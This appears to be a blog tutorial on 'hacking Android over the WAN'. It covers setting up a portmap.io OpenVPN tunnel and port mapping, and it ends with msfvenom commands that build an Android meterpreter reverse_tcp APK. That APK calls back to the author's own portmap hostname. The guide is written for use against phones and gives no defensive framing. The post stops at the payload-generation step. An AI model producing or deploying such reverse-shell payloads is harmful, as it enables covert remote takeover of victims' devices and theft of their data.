HACKING - ANDROID - OVER -THE - WAN (internet)
HACKING - ANDROID - OVER - THE - WAN
REQUIRED:
1. Kali Linux.
2. Metasploit.
3. Basics on computer networks.
STEPS:
1) First open www.portmap.io
this is a website which makes your ip over the internet.This can also be done using a wifi - router, but thats for another day.
Now,
2) Register an account for free in the portmap.io
U can only use one port forwarding for free account so be attentive to my instructions.
3) Now carfully configure the port like this
For this step:
a) Name - anything u want
b) Type - OpenVPN
- its a virtual private networking software.
c) Proto - udp
- User Datagram Protocol (For low latency)
d) Now install OpenVPN software from link given under "Using openvpn tunnel".
e) And also the configuration file for your account from given - (Download button)
f) Take note of the command in the right side bottom - it will be helpful in future steps.
g) Now click on Create a mapping rule - which is in point-3 under the "Using openvpn tunnel"
4) Create a new mapping rule:
b) protocol - tcp
-tcp for connecting networks of different devices.
c) Hostname - will be given - portmap.io
d) port on your pc - any port is fine but 4438 will give no errors as it will not be accesed by any other programs installed in your computer.(Note: unless u are a weirdo 😉)
e) Allowed ips - leave it empty
f) Now click create and start the OpenVPN tunnel
6) Start OpenVpn tunnel :
a) Go to the directory, where the config file is saved and then open command promt there.
b) Now execute the command we noted in step -3.
c) If there is an issue with permissions add sudo infront of the command and it will ask to enter the password of the computer to continue.
d) Then it will look like this:
7) For making a payload we will be using metasploit(😱-link to know about metasploit soon..):
a) Now open another terminal and execute this command -
INGENERAL :
msfvenom -p android/meterpreter/reverse_tcp LHOST=yourhostname.portmap.io LPORT=givenport R>nameofyourwish.apk
INMYCASE :
msfvenom –p android/meterpreter/reverse_tcp LHOST=avnmht1-38981.portmap.io LPORT=38981 R> nameofapk.apk
For me:












Comments
Post a Comment